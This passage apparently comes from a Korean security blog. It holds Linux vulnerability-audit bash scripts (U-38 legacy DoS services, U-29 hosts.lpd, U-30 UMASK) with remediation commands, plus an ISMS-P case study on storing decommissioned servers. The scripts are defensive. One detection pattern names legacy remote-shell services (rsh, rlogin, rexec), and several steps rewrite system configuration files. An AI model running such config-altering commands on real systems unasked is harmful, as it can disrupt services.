# U-38 DoS 취약 서비스 점검 시작
CODE "[ U-38 ] DoS 공격에 취약한 서비스 비활성화"

# 취약 서비스 목록 정의
DOS_SVCS="echo discard daytime chargen"
WEAK_DOS_SVCS=""

# xinetd 환경에서 stream(TCP) / dgram(UDP) 서비스 활성화 검사
if [ -d /etc/xinetd.d ]; then
    for svc in $DOS_SVCS; do
        if grep -i -q "disable[[:space:]]*=[[:space:]]*no" "/etc/xinetd.d/$svc" 2>/dev/null || \
           grep -i -q "disable[[:space:]]*=[[:space:]]*no" "/etc/xinetd.d/$svc-dgram" 2>/dev/null || \
           grep -i -q "disable[[:space:]]*=[[:space:]]*no" "/etc/xinetd.d/$svc-stream" 2>/dev/null; then
            WEAK_DOS_SVCS="$WEAK_DOS_SVCS $svc"
        fi
    done
# inetd.conf 환경 검사
elif [ -f /etc/inetd.conf ]; then
    for svc in $DOS_SVCS; do
        if grep -E -i "^[[:space:]]*$svc" /etc/inetd.conf >/dev/null; then
            WEAK_DOS_SVCS="$WEAK_DOS_SVCS $svc"
        fi
    done
fi

# 활성화된 서비스 중복 제거
WEAK_DOS_SVCS=$(echo "$WEAK_DOS_SVCS" | xargs -n1 | sort -u | xargs)

# 최종 판단 및 결과 출력
if [ -n "$WEAK_DOS_SVCS" ]; then
    WARN "서비스 거부 공격(DoS)에 악용될 수 있는 구형 네트워크 서비스가 활성화되어 있습니다." "취약 활성 서비스: [ $WEAK_DOS_SVCS ]"
else
    OK "DoS 공격에 취약한 구형 서비스(echo, discard, daytime, chargen)가 비활성화되어 있습니다." "해당 데몬 차단됨"
fi
FINISH "[ U-38 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 장애 사례: 고전적인 기업 내부 망 연동 솔루션 또는 공장 자동화/계측 장비(PLC) 연동 시스템 중 서버의 헬스체크를 핑(ICMP) 대신 7번(echo)이나 13번(daytime) 포트 소켓 오픈 상태로 체크하도록 개발된 하드웨어 통신 모듈이 존재하는 경우가 있습니다. 해당 포트를 사전 확인 없이 차단하면 센서 통신이나 서버 상태 점검 트래픽이 차단되어 비즈니스 서비스 장애로 이어질 수 있습니다.
검증 테스트 절차: 해당 포트들이 실제로 바인딩되어 통신 중인지 선제 점검합니다.
```
ss -tulpn | grep -E ':7\b|:9\b|:13\b|:19\b'
```
운영 환경 대안: 현대적 환경에서는 네트워크 상태 헬스체크를 위해 전용 Monitoring Agent, ICMP Ping, 또는 안전한 HTTP/HTTPS API 헬스체크 포트를 사용하는 것이 표준입니다. 레거시 시스템 연동으로 차단이 불가능한 경우 방화벽(iptables, firewalld)을 사용하여 소스 IP를 특정 관리 대상 디바이스로 엄격히 제한(ACL)해야 합니다.

④ 안전한 조치 절차

xinetd 설정 파일 백업 및 비활성화

for svc in echo discard daytime chargen; do
    for file in /etc/xinetd.d/$svc /etc/xinetd.d/$svc-stream /etc/xinetd.d/$svc-dgram; do
        if [ -f "$file" ]; then
            cp -v "$file" "$file.bak"
            sed -i 's/disable[[:space:]]*=[[:space:]]*no/disable = yes/g' "$file"
        fi
    done
done

inetd 사용 시스템인 경우 (/etc/inetd.conf 수정)

cp -v /etc/inetd.conf /etc/inetd.conf.bak
sed -i -E 's/^(echo|discard|daytime|chargen)/#\1/g' /etc/inetd.conf

데몬 재시작 및 포트 미사용 확인

systemctl reload xinetd 2>/dev/null
ss -tulpn | grep -E ':7\b|:9\b|:13\b|:19\b'

3. 통합 점검 스크립트의 한계점 및 보완 코드 제안

3.1. 기존 점검 스크립트의 한계점 분석

Include 분할 설정 디렉터리 미인식 (*.d 디렉터리)
- RHEL 8/9, Ubuntu 22.04/24.04 등 최신 OS는 단일 설정 파일(vsftpd.conf, crontab) 외에 /etc/cron.d/, /etc/vsftpd/conf.d/ 등 하위 분할 디렉터리를 포함하는 형태를 취합니다. 기존 스크립트는 지정된 단일 경로만 검사하므로 하위 디렉터리에 정의된 취약 설정을 누락할 수 있습니다.
Systemd Socket Activation 검사 한계
- 최신 리눅스는 xinetd 대신 systemd의 .socket 단위를 사용해 네트워크 접속 시에만 데몬을 깨웁니다. 데몬 프로세스명(ps -ef)만 검색하는 로직은 is-active 상태의 socket을 감지하지 못해 오탐(양호로 판정)을 발생시킬 수 있습니다.

3.2. 정밀 진단을 위한 보완 코드 스니펫

기존 진단 알고리즘을 보완하여 Include 디렉터리 및 Systemd Socket 상태까지 정밀 검사할 수 있는 핵심 코드 스니펫입니다.

# [보완 스니펫] Systemd Socket 및 cron.d 하위 디렉터리 정밀 통합 검사 로직
CRON_D_VULN=$(find /etc/cron.d /etc/crontab /var/spool/cron/crontabs -maxdepth 2 -type f \( ! -user root -o -perm -002 \) 2>/dev/null)
LEGACY_SOCKETS=$(systemctl list-units --type=socket --state=active 2>/dev/null | grep -E 'finger|rsh|rlogin|rexec|echo|discard|daytime|chargen')

if [ -n "$CRON_D_VULN" ] || [ -n "$LEGACY_SOCKETS" ]; then
    echo "[경고] 분할 설정(cron.d) 또는 Systemd 활성 소켓 내에 취약한 항목이 감지되었습니다."
fi

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본을 공유받기 원하시는 분은 하단의 비밀 댓글로 이메일 주소를 남겨 주시면 확인 후 일괄 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

2026.07.28 - [보안취약점점검/보안취약점점검_리눅스] - [리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

폐기 예정 서버를 일반 창고에 보관해도 될까?

보안실무자J — Mon, 14 Sep 2026 10:32:05 +0900

폐기 예정 서버를 일반 창고에 보관해도 될까?

— ISMS-P 2.4.1 보호구역 지정과 불용장비 물리보안

가상 시나리오 안내
이 글은 ISMS-P 인증기준을 학습하기 위한 가상 시나리오를 기반으로 작성한 사례 분석이다. 기업명, 담당자, 장비명, 문서번호, 수량 및 운영환경은 이해를 돕기 위해 가공하였다. 실제 심사 결과나 특정 기업의 결함 사례를 의미하지 않는다.

1. 상황부터 살펴보기

정보시스템을 교체하거나 IDC를 이전할 때 보안 담당자가 놓치기 쉬운 구간이 있다.

바로 장비를 철거한 이후 폐기하기 전까지의 임시 보관 단계다.

운영 중인 서버는 전산실이나 IDC 등 보호구역에서 관리하기 때문에 물리적 보안 통제가 비교적 명확하다.

하지만 장비를 철거하는 순간 상황이 달라진다.

운영 종료 → 장비 철거 → 본사 반입 → 임시 보관 → 폐기

이 과정에서 서버가 더 이상 운영되지 않는다는 이유로 기존의 물리적 보안 통제가 함께 사라지는 경우가 있다.

문제는 서버가 멈췄다고 해서 저장매체에 남아 있는 정보까지 사라지는 것은 아니라는 점이다.

특히 개인정보, 접속기록, 인증정보, 보안설정값 등 중요정보가 저장된 서버라면 폐기 또는 저장매체의 안전한 삭제가 완료되는 시점까지 보호대상 자산으로 관리할 필요가 있다.

이번 사례에서는 구형 VPN 서버를 철거한 이후 일반 기자재 창고에 임시 보관한 상황을 살펴본다.

2. 기업 개요 및 가상 운영 시나리오

기업명

A사

서비스

개인 및 기업 고객을 대상으로 암호화 통신 VPN 서비스를 제공하고 있다.

개인정보 보유 규모

약 120만 건의 개인정보를 보유하고 있다.

인프라 환경

기존 분당 IDC의 Bare-metal 기반 VPN 인프라를 서울 가산 IDC 및 AWS 하이브리드 환경으로 전환하고 있다.

주요 담당자

인프라운영팀 B 과장

3. 구형 VPN 서버 철거 과정

A사는 기존 분당 IDC의 구형 VPN 노드를 신규 인프라로 이전하면서 사용이 종료된 VPN Gateway 서버 15대를 철거하였다.

해당 서버의 로컬 디스크에는 과거 가입자의 VPN 접속 세션과 관련된 로그 및 VPN 서비스 운영에 사용했던 암호화 설정값 등이 남아 있었다.

서버는 아직 폐기 또는 저장매체 삭제가 완료되지 않은 상태였다.

A사는 전문 폐기 업체를 통해 디스크 천공 및 자성소거를 진행하기로 계약하였으나, 업체의 작업 일정이 약 4주 뒤로 예정되어 있었다.

이에 따라 철거한 서버 15대를 본사로 회수하였다.

문제는 그 다음 단계에서 발생했다.

4. 서버는 어디에 보관되었을까?

당초 서버는 본사 전산실에 보관할 예정이었다.

하지만 전산실 공간이 부족하다는 이유로 본사 4층 기자재 창고를 임시 보관 장소로 사용하였다.

해당 창고의 물리적 통제 현황은 다음과 같았다.

항목	현황
보호구역 지정	일반구역
출입통제	수동 열쇠
열쇠 관리	인프라운영팀 공용 서랍
RFID 출입통제	미설치
생체인식	미설치
CCTV	미설치
출입기록	별도 기록 없음
보관기간	약 4주
보관대상	폐기 예정 VPN 서버 15대

서버 자체는 운영되지 않고 있었지만 저장매체는 그대로 장착되어 있었다.

즉, 서비스 관점에서는 폐기된 장비였지만 정보보호 관점에서는 아직 폐기가 완료되지 않은 저장매체였다.

5. 현장 인터뷰

심사원

분당 IDC에서 철거한 구형 VPN Gateway 서버의 현황과 폐기 절차는 어떻게 관리하고 있습니까?

B 과장 / 인프라운영팀

구형 Bare-metal 서버 15대는 지난주 야간 작업을 통해 철거했고 본사로 모두 회수했습니다.

폐기 업체의 일정에 따라 다음 달 중순에 디스크 천공 및 자성소거를 진행할 예정입니다.

현재는 본사 4층 기자재 창고에 보관하고 있습니다.

심사원

해당 창고의 출입통제는 어떻게 적용하고 있습니까?

B 과장 / 인프라운영팀

미닫이문에 열쇠 잠금장치를 사용하고 있습니다.

열쇠는 인프라운영팀 공용 서랍에 보관하고 필요할 때 사용합니다.

RFID나 지문인식 장치는 설치되어 있지 않고 CCTV도 없습니다.

6. 현장 증적에서 확인된 내용

증적 1. 본사 출입통제시스템 설정

{
  "company_code": "A-VPN-01",
  "facility_location": "Headquarters 4F",
  "zone_configurations": [
    {
      "zone_id": "ZONE-4F-SEC-01",
      "zone_name": "본사 4층 주 전산실",
      "security_level": "High",
      "access_control_device": "Biometric-FP-02",
      "cctv_monitoring": true,
      "logs_retained_days": 180
    },
    {
      "zone_id": "ZONE-4F-OFF-01",
      "zone_name": "일반 사무 공간",
      "security_level": "Low",
      "access_control_device": "RFID-Card-04",
      "cctv_monitoring": true,
      "logs_retained_days": 90
    },
    {
      "zone_id": "ZONE-4F-STR-09",
      "zone_name": "4층 기자재 및 예비품 창고",
      "security_level": "None",
      "access_control_device": "Manual-Key-Lock",
      "cctv_monitoring": false,
      "logs_retained_days": 0
    }
  ]
}

증적을 보면 동일한 4층에 위치하더라도 공간별 보호 수준이 다르게 설정되어 있다.

전산실에는 생체인식과 CCTV가 적용되어 있고 일반 사무공간에는 RFID와 CCTV가 적용되어 있다.

반면 구형 VPN 서버가 보관된 기자재 창고에는 별도의 전자적 출입통제나 영상 모니터링이 적용되지 않는다.

7. 증적 2. 장비 임시 보관 기안문

내부 기안문에서는 다음과 같은 내용이 확인된다.

구형 VPN 서버 15대 철거
본사 4층 기자재 창고로 이동
폐기 작업은 약 4주 후 예정
서버 디스크를 탈거하지 않고 본체 상태로 보관
창고 바닥의 파레트 위에 적재
수동 열쇠를 이용한 출입관리

여기서 중요한 부분은 폐기 예정이라는 사실과 폐기가 완료되었다는 사실을 구분하는 것이다.

폐기 업체의 작업 일정이 잡혀 있다는 것만으로 서버에 저장된 정보가 안전하게 제거된 것은 아니다.

따라서 폐기 완료 전까지는 해당 서버와 저장매체를 별도의 보호 대상으로 관리할 필요가 있다.

8. ISMS-P 2.4.1 관점에서 무엇을 확인해야 할까?

이 사례에서 가장 직접적으로 연결되는 기준은 2.4.1 보호구역 지정이다.

2.4.1은 물리적·환경적 위협으로부터 개인정보 및 중요정보, 문서, 저장매체, 주요 설비 및 시스템 등을 보호하기 위해 물리적 보호구역을 지정하고 구역별 보호대책을 수립·이행하도록 요구한다.

따라서 심사에서는 단순히 다음과 같이 질문하는 것보다 한 단계 더 들어갈 필요가 있다.

"전산실에 출입통제가 설치되어 있는가?"

보다는

"개인정보 또는 중요정보가 저장된 자산이 현재 어느 장소에 존재하고 있으며, 해당 장소가 조직의 보호구역 지정기준에 따라 적절하게 분류되고 있는가?"

를 확인하는 것이 핵심이다.

9. 이 사례의 핵심 문제

이번 사례의 핵심은 CCTV가 없다는 사실 하나가 아니다.

핵심은 보호대상 자산의 상태가 변경되었는데 물리적 보호체계가 이를 따라가지 못했다는 점이다.

기존 상태는 다음과 같았다.

[운영 중]
VPN 서버
    ↓
IDC 전산실
    ↓
물리적 출입통제
    ↓
CCTV 및 출입기록

그러나 철거 이후에는 다음과 같이 변경되었다.

[운영 종료]
VPN 서버
    ↓
IDC에서 철거
    ↓
본사로 이동
    ↓
일반 기자재 창고
    ↓
수동 열쇠
    ↓
출입기록 및 CCTV 없음
    ↓
폐기 예정

즉, 장비의 운영 상태가 변경되면서 기존의 물리적 통제가 함께 해제되었지만 새로운 보관 단계에 대한 보호대책이 마련되지 않은 상태다.

10. 결함보고서 형태로 정리하면

[결함] 불용 서버의 임시 보관 단계에서 물리적 보호구역 및 접근통제가 적절하게 적용되지 않음

운영현황

A사는 기존 분당 IDC의 VPN 인프라를 신규 환경으로 전환하면서 구형 VPN Gateway 서버 15대를 철거하였다.

해당 서버는 폐기 업체의 작업 일정에 따라 약 4주간 본사에 임시 보관할 예정이며, 폐기 완료 전까지 저장매체가 장착된 상태로 관리되고 있다.

그러나 회수한 서버는 본사 4층 일반 기자재 창고에 보관되고 있으며, 해당 장소에는 전자적 출입통제 및 CCTV가 적용되지 않고 수동 열쇠 방식으로만 출입이 관리되고 있다.

확인된 사항

폐기 예정 서버의 저장매체가 탈거되지 않은 상태로 보관됨
기존 전산실의 물리적 보호통제가 해제된 이후 별도의 보호구역 지정이 이루어지지 않음
일반 기자재 창고에 서버를 보관하고 있으나 해당 장소의 보호수준이 서버에 저장된 정보의 중요도를 충분히 반영하고 있는지 확인되지 않음
공용 열쇠를 사용하고 있어 실제 출입자 추적이 어려움
CCTV가 없어 보관기간 중 물리적 접근 여부를 사후 확인하기 어려움
불용 장비의 반입·보관·폐기 단계별 물리보안 절차가 명확하게 연계되어 있지 않음

11. 왜 단순한 '창고 보관' 문제가 아닐까?

불용 서버의 물리적 보안에서 중요한 것은 장비가 현재 서비스를 제공하고 있는지가 아니다.

저장매체에 정보가 남아 있는가가 중요하다.

예를 들어 다음과 같은 정보가 남아 있을 수 있다.

가입자 접속 세션 로그
IP 주소 및 접속시간
VPN 접속 관련 식별정보
시스템 및 네트워크 구성정보
암호화 설정값
인증 및 운영 관련 설정정보
관리자 계정 또는 서비스 설정정보

이 중 일부는 개인정보에 해당할 수 있고, 일부는 개인정보가 아니더라도 시스템 보안에 영향을 줄 수 있는 중요정보다.

따라서 "서버는 이미 폐기 대상이라 중요하지 않다"는 판단만으로 물리적 보호 수준을 낮추는 것은 적절하지 않을 수 있다.

12. 개인정보 보호법 제29조와의 관계

개인정보 보호법 제29조는 개인정보가 유출되지 않도록 안전성 확보에 필요한 기술적·관리적 및 물리적 조치를 하도록 규정하고 있다.

따라서 개인정보가 저장된 서버를 폐기하기 전까지는 물리적 접근에 대한 안전조치도 검토 대상이 될 수 있다.

다만 일반 창고에 보관했다는 사실만으로 곧바로 개인정보 보호법 위반이라고 단정하는 것은 적절하지 않다.

실제 판단에서는 다음과 같은 사항을 함께 확인해야 한다.

어떤 개인정보가 저장되어 있는지
저장매체가 실제로 접근 가능한 상태인지
보관 장소의 물리적 접근 가능성이 어느 정도인지
출입 권한이 누구에게 있는지
장비 반출입 및 보관 절차가 존재하는지
저장매체 삭제 또는 폐기 절차가 마련되어 있는지
조직의 물리보안 정책에서 해당 자산을 어떻게 분류하고 있는지
위험평가 결과에 따라 어떤 보호대책을 선정했는지

즉, 법적 결론보다 실제 보호대책과 위험관리 체계의 적정성을 확인하는 접근이 필요하다.

13. 근본 원인은 '폐기 프로세스'에 있었다

현장에서 흔히 발생하는 문제는 폐기 자체의 절차만 관리하는 것이다.

예를 들어 다음과 같은 절차를 가지고 있을 수 있다.

폐기 대상 장비 선정
      ↓
폐기 업체 작업 요청
      ↓
디스크 천공
      ↓
폐기 완료

하지만 실제로는 그 사이에 상당한 시간이 존재한다.

운영 종료
   ↓
장비 철거
   ↓
장비 이동
   ↓
임시 보관
   ↓
폐기 대기
   ↓
저장매체 삭제/파쇄
   ↓
폐기 완료

따라서 불용 장비에 대한 물리보안 절차는 폐기 작업 자체가 아니라 폐기 완료까지의 전체 생애주기를 포함해야 한다.

14. 개선 방향

이번 사례에서 가장 먼저 해야 할 일은 무조건 CCTV나 지문인식 장치를 설치하는 것이 아니다.

먼저 불용 장비의 보안 상태를 다시 정의하는 것이 필요하다.

① 불용 장비를 자산관리 대상으로 유지

운영 종료와 동시에 자산관리 대상에서 제외하지 않는다.

다음 정보를 관리한다.

관리항목	내용
장비 식별번호	서버 자산번호
장비명	VPN Gateway
보관 위치	본사 4층 Room 402
저장매체 상태	장착/탈거
정보 삭제 여부	미완료/완료
폐기 예정일	YYYY-MM-DD
폐기 업체	업체명
폐기 완료일	YYYY-MM-DD
폐기 증적	확인서/사진 등

② 임시 보관 장소를 보호구역 기준에 따라 검토

장비에 중요정보가 남아 있다면 기존 일반 창고의 보호수준이 적절한지 검토한다.

필요에 따라 다음과 같은 대책을 적용할 수 있다.

제한된 인원만 출입 허용
별도 잠금장치 적용
출입자 기록 관리
CCTV 적용
보관구역 표지
장비 반출입 승인
정기적인 보관 상태 점검

중요한 것은 특정 장비를 설치하는 것 자체가 아니라 자산의 중요도와 위험에 맞는 보호수준을 결정하고 실제로 운영하는 것이다.

15. 불용 장비 반출입 절차를 추가한다

기존 물리보안 절차가 전산실 중심으로 설계되어 있다면 불용 장비의 이동 단계가 누락될 수 있다.

다음과 같이 별도 절차를 구성할 수 있다.

[폐기 대상 지정]
       ↓
[저장정보 확인]
       ↓
[장비 반출 승인]
       ↓
[보관 장소 지정]
       ↓
[보관구역 접근권한 설정]
       ↓
[임시 보관]
       ↓
[폐기 업체 인계]
       ↓
[저장매체 삭제/파쇄]
       ↓
[폐기 결과 확인]
       ↓
[자산관리대장 종료]

이렇게 구성하면 물리보안과 자산관리, 개인정보보호, 폐기 절차가 하나의 흐름으로 연결된다.

16. 개선 후 증적은 무엇을 남겨야 할까?

실무에서는 "조치했다"는 설명보다 조치 사실을 확인할 수 있는 증적이 중요하다.

예를 들어 다음과 같은 자료를 관리할 수 있다.

장비 관련

불용 장비 목록
장비별 자산번호
저장매체 상태
보관 위치

물리보안 관련

보호구역 지정 현황
출입권한 설정 내역
출입기록
CCTV 녹화 상태
보관구역 사진

폐기 관련

폐기 신청서
폐기 업체 계약서
장비 인계 기록
저장매체 삭제 또는 파쇄 결과
폐기확인서

관리체계 관련

불용 장비 폐기 절차서
물리보안 지침
자산관리 기준
정기점검 결과
개선조치 결과보고서

17. 심사에서 추가로 확인할 질문

이와 같은 상황에서는 다음 질문을 이어서 확인할 수 있다.

Q1. 서버가 폐기 대상이라는 것을 어떻게 확인하는가?

단순히 담당자의 판단인지, 자산관리시스템에서 폐기 상태로 관리되는지 확인한다.

Q2. 폐기 전 저장매체의 정보 삭제 여부를 확인하는가?

폐기 업체에 넘기기 전까지 저장정보가 남아 있는지 확인한다.

Q3. 임시 보관 장소는 어떤 기준으로 선정하는가?

전산실 공간 부족 등의 운영상 사유만으로 결정하는지 확인한다.

Q4. 임시 보관 중 누가 출입할 수 있는가?

팀 공용 열쇠처럼 실제 출입자를 특정하기 어려운 방식인지 확인한다.

Q5. 장비 이동 기록이 존재하는가?

IDC에서 본사로 이동한 사실과 보관 위치를 추적할 수 있는지 확인한다.

Q6. 폐기 완료 여부를 누가 검증하는가?

폐기 업체의 작업 결과를 담당자가 확인하고 자산관리 상태를 종료하는지 확인한다.

18. 이번 사례에서 놓치기 쉬운 부분

① '운영 종료'와 '정보 폐기 완료'는 다르다

가장 중요한 포인트다.

서버의 서비스 운영이 종료되었다고 해서 저장된 정보가 자동으로 사라지는 것은 아니다.

따라서 보안통제의 종료 시점은 단순한 서비스 종료가 아니라 저장매체의 안전한 삭제 또는 폐기 완료 여부까지 고려해야 한다.

② 일반 창고라고 해서 무조건 결함은 아니다

보호구역의 형태와 통제수준은 조직의 환경과 자산의 중요도에 따라 결정될 수 있다.

따라서 심사에서는

"CCTV가 없으므로 결함"

이라고 단순하게 접근하기보다,

"해당 장소가 조직의 보호구역 지정기준에 따라 적절하게 분류되었으며, 보관 중인 자산의 중요도에 적합한 보호대책이 적용되고 있는가?"

를 확인하는 것이 더 정확하다.

③ 폐기 업체에 넘기는 순간에도 통제가 필요하다

물리보안은 사내 창고에서 끝나지 않는다.

폐기 업체로 장비를 이동하는 과정에서도 다음 사항을 확인할 필요가 있다.

반출 승인
운송 대상 장비 식별
인계자 및 인수자 확인
운송 과정의 보호조치
폐기 업체의 작업 범위
저장매체 삭제 또는 파쇄 방식
작업 완료 증적
폐기 완료 여부 확인

즉, 사내 보관 → 외부 반출 → 폐기 완료까지 하나의 통제 흐름으로 봐야 한다.

19. 실무 점검 체크리스트

불용 장비 목록을 관리하고 있는가?	□
운영 종료 후에도 저장매체 정보를 관리하는가?	□
폐기 전 임시 보관 장소가 지정되어 있는가?	□
보관 장소의 보호구역 등급이 적절한가?	□
보관 장소의 출입권한이 제한되어 있는가?	□
실제 출입자를 추적할 수 있는가?	□
장비 반입·반출 기록이 존재하는가?	□
폐기 업체 인계 절차가 존재하는가?	□
저장매체 삭제 또는 파쇄 결과를 확인하는가?	□
폐기 완료 후 자산관리 상태를 종료하는가?	□
관련 증적을 보관하고 있는가?	□
물리보안 지침에 불용 장비 관리 절차가 반영되어 있는가?	□

20. 정리

불용 서버는 더 이상 서비스를 제공하지 않는다는 이유만으로 보안관리 대상에서 제외해서는 안 된다.

특히 저장매체에 개인정보나 중요정보가 남아 있다면 폐기 완료 전까지는 하나의 보호대상 자산으로 보고 관리하는 관점이 필요하다.

이번 사례의 핵심은 기자재 창고에 서버를 보관했다는 사실 자체가 아니다.

핵심은 다음과 같다.

운영 중인 장비를 철거하면서 기존의 물리적 보호통제는 해제했지만, 폐기 완료 전까지 적용할 새로운 보호통제를 정의하지 않았다.

따라서 불용 장비 관리 절차를 설계할 때는 다음의 흐름을 함께 고려하는 것이 좋다.

운영 종료
   ↓
철거
   ↓
반출
   ↓
임시 보관
   ↓
폐기 업체 인계
   ↓
저장매체 삭제/파쇄
   ↓
폐기 완료

ISMS-P 2.4.1을 실무에 적용할 때도 전산실이나 서버실의 출입통제만 확인할 것이 아니라, 개인정보 및 중요정보가 존재하는 물리적 자산이 생애주기 동안 어느 장소에 존재하는지, 그리고 각 단계에서 적절한 보호구역과 보호대책이 유지되는지까지 살펴볼 필요가 있다.

참고자료

정보보호 및 개인정보보호 관리체계(ISMS-P) 인증기준 안내서
ISMS-P 인증기준 2.4.1 보호구역 지정
개인정보 보호법 제29조(안전조치의무)
개인정보의 안전성 확보조치 기준

[리눅스 보안 점검 요약] 파일 및 디렉터리 관리(U-29 ~ U-33) 종합 진단 및 실무 조치 가이드

보안실무자J — Fri, 11 Sep 2026 09:40:03 +0900

파일 및 디렉터리 관리 분야의 주요 점검 항목인 U-29부터 U-33까지의 보안 취약점을 완벽 분석합니다. 본 가이드에서는 hosts.lpd, UMASK, 홈 디렉터리 권한 및 숨김 파일 스캔을 위한 자동 진단 스크립트 해설과 함께 현장 실무 경험을 반영한 안전한 조치 및 백업 가이드를 안내해 드립니다.

1. 파일 및 디렉토리 관리 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	판단 기준 (양호)	위험도
U-29	hosts.lpd 파일 소유자 및 권한 설정	/etc/hosts.lpd	파일 소유자가 root이고, 권한이 600 이하인 경우 (미존재 시 양호)	상
U-30	UMASK 설정 관리	/etc/profile, /etc/bashrc등	시스템 UMASK 값이 022 이상으로 설정되어 있는 경우	중
U-31	홈 디렉토리 소유자 및 권한 설정	/etc/passwd내 홈 디렉터리	홈 디렉터리 소유자가 해당 계정(또는 root)이고 타사용자 쓰기 권한이 없는 경우	중
U-32	홈 디렉토리로 지정한 디렉토리의 존재 관리	/etc/passwd내 홈 디렉터리	대화형 계정의 홈 디렉터리가 실제로 시스템에 존재할 경우	하
U-33	숨겨진 파일 및 디렉토리 검색 및 제거	/tmp, /var/tmp, /dev/shm	임시 디렉터리 내 불필요하거나 의심스러운 숨김 파일이 없는 경우	중

2. 세부 항목별 진단 및 조치 가이드

2.1. [U-29] hosts.lpd 파일 소유자 및 권한 설정

① 점검 목적 및 개요

hosts.lpd 파일은 라인 프린터 데몬(LPD)을 사용할 때 원격 프린트 요청을 허용할 호스트를 정의하는 파일입니다. 비인가자가 해당 파일을 변조할 경우 프린터 서비스를 악용한 비인가 접속이나 시스템 무단 이용의 통로가 될 수 있으므로, 소유자를 root로 제한하고 권한을 600 이하로 제한해야 합니다.

② 자동 진단 스크립트 분석

# U-29 점검 시작
CODE "[ U-29 ] hosts.lpd 파일 소유자 및 권한 설정"

# [상세 해설]: /etc/hosts.lpd 파일 존재 여부를 검사합니다. 프린트 서비스를 사용하지 않으면 미존재가 일반적입니다.
if [ -f /etc/hosts.lpd ]; then
    # [상세 해설]: awk 명령어를 사용하여 3번째 필드인 파일 소유자 정보만 추출합니다.
    OWNER=$(ls -l /etc/hosts.lpd | awk '{print $3}')
    
    # [상세 해설]: ls -l 출력 결과의 1번째 필드(권한 문자열: 예 -rw-------)를 추출합니다.
    PERMS=$(ls -l /etc/hosts.lpd | awk '{print $1}')
    
    # [상세 해설]: cut 명령어로 그룹 권한(5~7번째 문자)과 타사용자 권한(8~10번째 문자)을 분리합니다.
    PERM_G=$(echo "$PERMS" | cut -c 5-7)
    PERM_O=$(echo "$PERMS" | cut -c 8-10)

    # [상세 해설]: 소유자가 root이고 그룹 및 타사용자 권한이 모두 '---'(접근 불가)인지 검증합니다. (600 이하)
    if [ "$OWNER" == "root" ] && [[ "$PERM_G" == "---" && "$PERM_O" == "---" ]]; then
        OK "/etc/hosts.lpd 파일 소유자가 root이고, 권한이 600 이하입니다." "소유자: $OWNER, 권한: $PERMS"
    else
        WARN "/etc/hosts.lpd 파일의 소유자가 root가 아니거나, 권한이 600을 초과합니다." "소유자: $OWNER, 권한: $PERMS"
    fi
else
    # [상세 해설]: 파일이 없으면 불필요한 프린팅 허용 파일이 없는 것이므로 진단 기준상 즉시 양호 처리합니다.
    OK "/etc/hosts.lpd 파일이 존재하지 않습니다. (프린트 서비스 미사용)" "파일 미존재 (안전)"
fi
FINISH "[ U-29 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

실무 환경 적용 고려사항: 현대 기업 운영 환경에서는 CUPS 표준 서버를 이용하므로 구형 LPR 서비스용 hosts.lpd 파일은 거의 사용되지 않습니다.
작업 장애 사례: 레거시 메인프레임 출력 시스템 연동 서버에서 소유권을 일반 계정으로 넘겨 운영하다가 진단 가이드 조치를 위해 일괄 chown root조치를 수행한 후, 프린트 출력 서비스 프로세스가 해당 파일 읽기에 실패하여 야간 출력 작업이 중단된 사례가 있습니다.
안전한 테스트 절차: 파일 변경 전 프린터 관련 데몬(lpd, cups)이 실행 중인지 ps -ef | grep lpd로 점검한 뒤, 서비스를 미사용 중이라면 파일을 완전히 삭제하거나 600 권한으로 전환합니다.

④ 안전한 수동 조치 절차

# 1. 파일 백업 (백업 디렉터리 생성 및 복사)
mkdir -p /backup/security_fix
cp -p /etc/hosts.lpd /backup/security_fix/hosts.lpd.$(date +%Y%m%d) 2>/dev/null

# 2. 소유권 및 권한 변경 (파일이 존재하는 경우)
if [ -f /etc/hosts.lpd ]; then
    chown root /etc/hosts.lpd
    chmod 600 /etc/hosts.lpd
fi

# 3. 설정 확인
ls -l /etc/hosts.lpd

2.2. [U-30] UMASK 설정 관리

① 점검 목적 및 개요

UMASK(User Mask)는 신규 파일이나 디렉터리를 생성할 때 기본으로 차단할 권한을 지정하는 설정입니다. UMASK 값이 000 또는 002와 같이 너무 낮게 설정되어 있으면 새로 생성되는 파일에 타사용자의 쓰기 권한이 부여되어 주요 데이터 변조 및 악성코드 주입 공격에 노출될 수 있으므로 minimum 022 이상(022, 027, 077 등)으로 통제해야 합니다.

② 자동 진단 스크립트 분석

# U-30 점검 시작
CODE "[ U-30 ] UMASK 설정 관리"

# [상세 해설]: /etc/profile 파일에서 주석을 제외한 명시적인 umask 지시어 항목 중 마지막으로 적용된 값을 추출합니다.
UMASK_VAL=$(grep -E -i "^[[:space:]]*umask" /etc/profile | tail -n 1 | awk '{print $2}')

# [상세 해설]: umask 설정값이 존재하는지 확인합니다.
if [ -n "$UMASK_VAL" ]; then
    # [상세 해설]: 문자열 비교를 통해 보안 권고 수준(022, 027, 077)에 부합하는지 판단합니다.
    if [[ "$UMASK_VAL" == "022" || "$UMASK_VAL" == "027" || "$UMASK_VAL" == "077" ]]; then
        OK "시스템 UMASK 값이 안전하게 설정되어 있습니다." "/etc/profile 내 umask = $UMASK_VAL (022 이상)"
    else
        WARN "시스템 UMASK 값이 022보다 낮게 설정되어 보안상 취약합니다." "현재 umask = $UMASK_VAL (권고: 022 이상)"
    fi
else
    # [상세 해설]: 명시적 umask 미설정 시 OS 기본 세팅값(000 등)이 적용될 수 있어 취약으로 처리합니다.
    WARN "/etc/profile 내에 UMASK 설정이 존재하지 않습니다. (기본값 적용 위험)" "명시적인 umask 지시어 누락"
fi
FINISH "[ U-30 ] 점검완료"

③ 보안실무자 J의 노하우 및 장애 방지 포인트

